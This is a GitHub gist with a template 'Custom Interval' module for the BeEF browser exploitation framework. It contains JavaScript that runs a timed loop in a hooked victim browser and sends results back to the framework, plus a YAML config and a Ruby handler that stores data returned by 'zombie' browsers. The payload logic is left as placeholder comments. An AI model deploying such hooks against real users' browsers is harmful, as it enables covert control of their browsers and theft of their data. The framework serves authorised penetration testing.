Created
July 22, 2014 23:54
-
-
Save xntrik/d50d88852884953aa555 to your computer and use it in GitHub Desktop.
New setInterval for BeEF
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Copyright (c) 2006-2014 Wade Alcorn - [email protected] | |
// Browser Exploitation Framework (BeEF) - http://beefproject.com | |
// See the file 'doc/COPYING' for copying permission | |
// | |
beef.execute(function() { | |
window.setInterval(function() { | |
//perform task | |
//set something to var data | |
//Maybe test with a | |
console.log('ping'); // to see if the interval kicks off in the hooked browser. | |
//send results back | |
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+data); | |
}, 2000); | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Copyright (c) 2006-2014 Wade Alcorn - [email protected] | |
# Browser Exploitation Framework (BeEF) - http://beefproject.com | |
# See the file 'doc/COPYING' for copying permission | |
# | |
beef: | |
module: | |
custom_interval: | |
enable: true | |
category: "Misc" | |
name: "Custom Interval" | |
description: "Kick off a custom interval JS async func" | |
authors: ["@xxdepardieuxx", "xntrik"] | |
target: | |
working: ['ALL'] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Copyright (c) 2006-2014 Wade Alcorn - [email protected] | |
# Browser Exploitation Framework (BeEF) - http://beefproject.com | |
# See the file 'doc/COPYING' for copying permission | |
# | |
class Custom_interval < BeEF::Core::Command | |
# | |
# This method is being called when a zombie sends some | |
# data back to the framework. | |
# | |
def post_execute | |
save({'result' => @datastore['result']}) | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment